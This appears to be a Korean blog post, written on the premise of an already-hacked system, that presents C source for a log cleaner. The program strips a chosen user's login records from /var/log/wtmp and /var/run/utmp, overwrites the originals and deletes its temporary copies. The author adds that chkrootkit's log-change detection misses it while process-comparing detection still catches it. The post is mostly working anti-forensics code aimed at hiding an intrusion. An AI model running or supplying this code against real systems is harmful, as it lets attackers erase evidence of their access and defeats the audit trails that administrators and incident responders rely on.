document.onkeypress = getKey;

가정: 시스템해킹 성공 후

권한 상승으로 /var/run/utmp 혹은 /var/log/wtmp 등을 실행시킬 수 있다면(확인할 수 있다면)


#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <fcntl.h>

#include <utmp.h>

#include <lastlog.h>

#include <pwd.h>



void copy_tmp(char* name,char* bak, char* who) {

   int fd1, fd2;

   struct utmp utmp_ent;

   fd1 = open(name,O_RDWR);

   fd2 = open(bak,O_WRONLY);

   if(fd1 >= 0 && fd2 >= 0){

      while(read(fd1,&utmp_ent,sizeof(utmp_ent))>0) {

       if(!strncmp(utmp_ent.ut_name, who, strlen(who))) ;

         else {

            write(fd2, &utmp_ent, sizeof(utmp_ent));

         }

      }

      close(fd1);

      close(fd2);

   }

}


int main(int argc, char* argv[])

{

   int fd;

   char buf[1000]={0};


   if(0 < (fd = creat("./wtmp.bak",0644))){

      printf("success to create faked wtmp.bak\n");

      close(fd);

   }

   else printf("fail to create wtmp.bak file\n");


   if(0 < (fd = creat("./utmp.bak",0644))){

      printf("success to create faked utmp.bak\n");

      close(fd);

   }

   else printf("fail to create utmp.bak file\n");


   copy_tmp("/var/log/wtmp","./wtmp.bak",argv[1]);

   copy_tmp("/var/run/utmp","./utmp.bak",argv[1]);


   system("cp ./wtmp.bak /var/log/wtmp");

   system("cp ./utmp.bak /var/run/utmp");

   system("rm ./wtmp.bak");

   system("rm ./utmp.bak");

   printf("all bakup file is removed");

   return 0;

}


chkrootkit 로그 변화 탐지 기록에 잡히지 않는다.

다만 프로세스를 같이 비교하는 로그 탐지에는 잡힌다 ㅠ

+ Recent posts